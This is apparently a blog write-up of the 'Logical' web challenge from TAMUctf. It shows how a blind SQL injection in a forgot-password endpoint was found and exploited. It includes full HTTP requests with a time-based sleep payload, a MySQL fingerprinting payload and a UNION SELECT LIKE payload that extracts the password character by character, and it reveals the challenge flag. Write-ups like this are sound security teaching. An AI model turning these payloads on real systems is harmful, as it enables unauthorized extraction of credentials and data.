Logical
Posted on Tue 02 May 2023 in ctf
This is a writeup of the Logical challenge which was part of the web category during TAMUctf.
The challenge starts with a "Forgot Password" field that allows to enter usernames and emails will be sent to those users.
This is indicated by the message Email sent
.
The HTTP POST request uses a urlencoded username paramter to send the username that will be notified.
If the username exists the server responds with the message {"res":"exists"}
, if not the backend responds with {"res":"not exists"}
Maybe one can do an SQLi.
Entering the username '
results in an internal server error, so we should be able to do an SQLi.
First we need to identify the DBMS so we know what syntax we may use. There exists an article on HackTricks for that.
POST /api/chpass HTTP/1.1
Host: logical.tamuctf.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://logical.tamuctf.com/
Content-Type: application/x-www-form-urlencoded
Origin: http://logical.tamuctf.com
Content-Length: 31
Connection: close
username=admin' and sleep(10) #
This POST request with a call to sleep took about 10s.
When sending the following username the server answers with {"res":"exists"}
username=admin' and connection_id()=connection_id() #
From that we can deduct that the backend is using a MySQL database.
Since we only receive a "found" or "not found" response from the server this is a kind of blind SQLi. With the following request we can check whether there exists a user with a password that matches the flag prefix:
POST /api/chpass HTTP/1.1
Host: logical.tamuctf.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://logical.tamuctf.com/
Content-Type: application/x-www-form-urlencoded
Origin: http://logical.tamuctf.com
Content-Length: 71
Connection: close
username=1' UNION SELECT null from users where password like "gigem{%"#
And indeed the server answers with {"res":"exists"}
So we can use a python script to try all ascii characters except for MySQL special characters to retrieve the flag: gigem{bl1nd-1nj3ct10n}